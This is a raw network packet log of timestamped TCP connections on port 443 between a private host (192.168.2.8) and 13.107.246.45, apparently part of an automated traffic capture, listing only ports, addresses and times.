Oct 7, 2024 06:45:33.253758907 CEST	443	49769	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.258604050 CEST	443	49767	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.259181976 CEST	49767	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:33.259227037 CEST	443	49767	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.259708881 CEST	49767	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:33.259715080 CEST	443	49767	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.261406898 CEST	443	49770	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.261851072 CEST	49770	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:33.261866093 CEST	443	49770	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.262382030 CEST	49770	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:33.262386084 CEST	443	49770	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.269284010 CEST	443	49768	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.269727945 CEST	49768	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:33.269793987 CEST	443	49768	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.270272970 CEST	49768	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:33.270289898 CEST	443	49768	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.344846964 CEST	443	49766	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.344950914 CEST	443	49766	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.345021963 CEST	49766	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:33.345336914 CEST	49766	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:33.345366955 CEST	443	49766	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.345386982 CEST	49766	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:33.345392942 CEST	443	49766	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.349375963 CEST	49771	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:33.349508047 CEST	443	49771	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.349606991 CEST	49771	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:33.349781036 CEST	49771	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:33.349803925 CEST	443	49771	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.350198984 CEST	443	49769	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.350357056 CEST	443	49769	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.350512981 CEST	49769	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:33.350682020 CEST	49769	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:33.350697041 CEST	443	49769	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.354367018 CEST	49772	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:33.354408026 CEST	443	49772	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.354474068 CEST	49772	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:33.354707003 CEST	49772	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:33.354726076 CEST	443	49772	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.360359907 CEST	443	49770	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.360517025 CEST	443	49770	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.360557079 CEST	443	49767	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.360574007 CEST	49770	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:33.360711098 CEST	443	49767	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.360757113 CEST	49767	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:33.361022949 CEST	49770	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:33.361028910 CEST	443	49770	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.361037016 CEST	49770	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:33.361042023 CEST	443	49770	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.361422062 CEST	49767	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:33.361438036 CEST	443	49767	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.361462116 CEST	49767	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:33.361469030 CEST	443	49767	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.366111040 CEST	49773	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:33.366144896 CEST	443	49773	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.366252899 CEST	49773	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:33.366851091 CEST	49774	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:33.366862059 CEST	443	49774	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.366993904 CEST	49774	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:33.367191076 CEST	49774	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:33.367208958 CEST	443	49774	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.367480993 CEST	49773	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:33.367497921 CEST	443	49773	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.370094061 CEST	443	49768	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.370243073 CEST	443	49768	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.370405912 CEST	49768	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:33.370579004 CEST	49768	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:33.370579958 CEST	49768	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:33.370609045 CEST	443	49768	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.370631933 CEST	443	49768	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.373683929 CEST	49775	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:33.373718977 CEST	443	49775	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.373796940 CEST	49775	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:33.374183893 CEST	49775	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:33.374201059 CEST	443	49775	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.924020052 CEST	443	49772	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.924706936 CEST	49772	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:33.924737930 CEST	443	49772	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.925384045 CEST	49772	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:33.925390959 CEST	443	49772	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.992633104 CEST	443	49771	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.993127108 CEST	49771	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:33.993213892 CEST	443	49771	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.993717909 CEST	49771	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:33.993733883 CEST	443	49771	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:34.009269953 CEST	443	49774	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:34.009649992 CEST	49774	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:34.009679079 CEST	443	49774	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:34.010150909 CEST	49774	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:34.010159016 CEST	443	49774	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:34.016597033 CEST	443	49775	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:34.016928911 CEST	49775	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:34.016952038 CEST	443	49775	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:34.017358065 CEST	49775	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:34.017364979 CEST	443	49775	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:34.023988962 CEST	443	49772	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:34.024142981 CEST	443	49772	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:34.024207115 CEST	49772	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:34.024327993 CEST	49772	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:34.024347067 CEST	443	49772	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:34.024362087 CEST	49772	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:34.024368048 CEST	443	49772	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:34.027816057 CEST	49776	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:34.027862072 CEST	443	49776	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:34.027949095 CEST	49776	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:34.028175116 CEST	49776	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:34.028191090 CEST	443	49776	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:34.036447048 CEST	443	49773	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:34.036859989 CEST	49773	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:34.036871910 CEST	443	49773	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:34.037379980 CEST	49773	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:34.037390947 CEST	443	49773	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:34.094517946 CEST	443	49771	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:34.094691992 CEST	443	49771	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:34.094779968 CEST	49771	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:34.095000982 CEST	49771	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:34.095041037 CEST	443	49771	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:34.095076084 CEST	49771	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:34.095091105 CEST	443	49771	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:34.098588943 CEST	49777	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:34.098690987 CEST	443	49777	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:34.098783016 CEST	49777	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:34.098934889 CEST	49777	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:34.098972082 CEST	443	49777	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:34.110487938 CEST	443	49774	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:34.110632896 CEST	443	49774	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:34.110697985 CEST	49774	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:34.110754013 CEST	49774	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:34.110774994 CEST	443	49774	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:34.110790968 CEST	49774	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:34.110800028 CEST	443	49774	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:34.113775969 CEST	49778	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:34.113804102 CEST	443	49778	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:34.113888979 CEST	49778	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:34.114036083 CEST	49778	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:34.114062071 CEST	443	49778	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:34.117201090 CEST	443	49775	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:34.117351055 CEST	443	49775	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:34.117427111 CEST	49775	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:34.117458105 CEST	49775	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:34.117472887 CEST	443	49775	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:34.117516994 CEST	49775	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:34.117523909 CEST	443	49775	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:34.119967937 CEST	49779	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:34.119987965 CEST	443	49779	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:34.120074034 CEST	49779	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:34.120208979 CEST	49779	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:34.120220900 CEST	443	49779	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:34.138258934 CEST	443	49773	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:34.138413906 CEST	443	49773	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:34.138472080 CEST	49773	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:34.138567924 CEST	49773	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:34.138592005 CEST	443	49773	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:34.138603926 CEST	49773	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:34.138609886 CEST	443	49773	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:34.141186953 CEST	49780	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:34.141248941 CEST	443	49780	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:34.141344070 CEST	49780	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:34.141514063 CEST	49780	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:34.141546011 CEST	443	49780	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:35.516217947 CEST	443	49776	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:35.516969919 CEST	49776	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:35.517023087 CEST	443	49776	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:35.517682076 CEST	49776	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:35.517689943 CEST	443	49776	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:35.522089958 CEST	443	49779	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:35.522397041 CEST	49779	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:35.522404909 CEST	443	49779	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:35.522871971 CEST	49779	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:35.522877932 CEST	443	49779	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:35.526981115 CEST	443	49780	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:35.528646946 CEST	443	49777	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:35.529025078 CEST	49780	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:35.529057026 CEST	443	49780	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:35.529508114 CEST	49780	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:35.529520988 CEST	443	49780	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:35.529784918 CEST	49777	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:35.529829979 CEST	443	49777	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:35.530348063 CEST	49777	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:35.530360937 CEST	443	49777	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:35.533448935 CEST	443	49778	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:35.533809900 CEST	49778	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:35.533843994 CEST	443	49778	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:35.534352064 CEST	49778	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:35.534363985 CEST	443	49778	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:35.614609957 CEST	443	49776	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:35.614696980 CEST	443	49776	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:35.615005016 CEST	49776	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:35.615051985 CEST	49776	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:35.615052938 CEST	49776	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:35.615082026 CEST	443	49776	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:35.615094900 CEST	443	49776	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:35.618959904 CEST	49781	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:35.619005919 CEST	443	49781	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:35.619096041 CEST	49781	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:35.619277954 CEST	49781	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:35.619288921 CEST	443	49781	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:35.623361111 CEST	443	49779	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:35.623533964 CEST	443	49779	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:35.623593092 CEST	49779	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:35.623611927 CEST	49779	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:35.623622894 CEST	443	49779	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:35.623635054 CEST	49779	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:35.623641014 CEST	443	49779	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:35.626188993 CEST	49782	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:35.626200914 CEST	443	49782	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:35.626275063 CEST	49782	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:35.626420021 CEST	49782	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:35.626434088 CEST	443	49782	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:35.631311893 CEST	443	49777	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:35.631411076 CEST	443	49777	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:35.631522894 CEST	49777	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:35.631577015 CEST	49777	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:35.631577015 CEST	49777	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:35.631597042 CEST	443	49777	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:35.631608963 CEST	443	49777	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:35.632806063 CEST	443	49780	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:35.632889032 CEST	443	49780	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:35.633620024 CEST	49780	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:35.633657932 CEST	49780	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:35.633671999 CEST	443	49780	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:35.633706093 CEST	49780	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:35.633713007 CEST	443	49780	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:35.634183884 CEST	49783	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:35.634210110 CEST	443	49783	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:35.635442972 CEST	443	49778	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:35.635509968 CEST	443	49778	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:35.635529995 CEST	49783	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:35.635554075 CEST	49778	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:35.635715008 CEST	49778	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:35.635721922 CEST	443	49778	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:35.635754108 CEST	49778	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:35.635761023 CEST	443	49778	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:35.635864019 CEST	49783	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:35.635880947 CEST	443	49783	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:35.635902882 CEST	49784	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:35.635931969 CEST	443	49784	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:35.636570930 CEST	49784	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:35.636719942 CEST	49784	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:35.636735916 CEST	443	49784	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:35.638103962 CEST	49785	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:35.638144016 CEST	443	49785	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:35.638210058 CEST	49785	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:35.638339043 CEST	49785	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:35.638353109 CEST	443	49785	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:36.260571957 CEST	443	49781	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:36.262274981 CEST	49781	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:36.262298107 CEST	443	49781	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:36.262933016 CEST	49781	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:36.262938976 CEST	443	49781	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:36.277687073 CEST	443	49782	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:36.278162956 CEST	49782	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:36.278176069 CEST	443	49782	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:36.278577089 CEST	49782	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:36.278583050 CEST	443	49782	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:36.279381037 CEST	443	49785	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:36.279716015 CEST	49785	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:36.279731035 CEST	443	49785	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:36.280030966 CEST	49785	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:36.280034065 CEST	443	49785	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:36.288438082 CEST	443	49784	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:36.288896084 CEST	49784	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:36.288916111 CEST	443	49784	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:36.289429903 CEST	49784	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:36.289434910 CEST	443	49784	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:36.304105997 CEST	443	49783	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:36.304606915 CEST	49783	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:36.304636002 CEST	443	49783	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:36.305141926 CEST	49783	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:36.305152893 CEST	443	49783	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:36.360655069 CEST	443	49781	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:36.360744953 CEST	443	49781	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:36.360805988 CEST	49781	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:36.361018896 CEST	49781	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:36.361040115 CEST	443	49781	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:36.361049891 CEST	49781	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:36.361056089 CEST	443	49781	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:36.364594936 CEST	49786	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:36.364641905 CEST	443	49786	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:36.364727020 CEST	49786	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:36.364940882 CEST	49786	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:36.364954948 CEST	443	49786	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:36.378142118 CEST	443	49782	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:36.378223896 CEST	443	49782	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:36.378281116 CEST	49782	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:36.378451109 CEST	49782	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:36.378457069 CEST	443	49782	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:36.378465891 CEST	49782	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:36.378469944 CEST	443	49782	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:36.379479885 CEST	443	49785	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:36.379631996 CEST	443	49785	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:36.379684925 CEST	49785	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:36.379726887 CEST	49785	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:36.379736900 CEST	443	49785	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:36.379765987 CEST	49785	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:36.379770994 CEST	443	49785	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:36.381227970 CEST	49787	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:36.381263018 CEST	443	49787	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:36.381320000 CEST	49787	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:36.381447077 CEST	49787	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:36.381459951 CEST	443	49787	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:36.382069111 CEST	49788	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:36.382098913 CEST	443	49788	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:36.382148027 CEST	49788	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:36.382453918 CEST	49788	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:36.382469893 CEST	443	49788	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:36.388813019 CEST	443	49784	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:36.388947964 CEST	443	49784	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:36.389003038 CEST	49784	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:36.389050961 CEST	49784	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:36.389058113 CEST	443	49784	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:36.389067888 CEST	49784	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:36.389071941 CEST	443	49784	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:36.391263008 CEST	49789	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:36.391314983 CEST	443	49789	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:36.391393900 CEST	49789	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:36.391500950 CEST	49789	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:36.391515017 CEST	443	49789	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:36.406244040 CEST	443	49783	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:36.406410933 CEST	443	49783	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:36.406482935 CEST	49783	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:36.406533003 CEST	49783	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:36.406533003 CEST	49783	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:36.406564951 CEST	443	49783	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:36.406590939 CEST	443	49783	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:36.408665895 CEST	49790	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:36.408694029 CEST	443	49790	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:36.408763885 CEST	49790	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:36.408874989 CEST	49790	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:36.408888102 CEST	443	49790	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:37.166846991 CEST	443	49786	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:37.167841911 CEST	49786	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:37.167861938 CEST	443	49786	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:37.168613911 CEST	49786	443	192.168.2.8	13.107.246.45
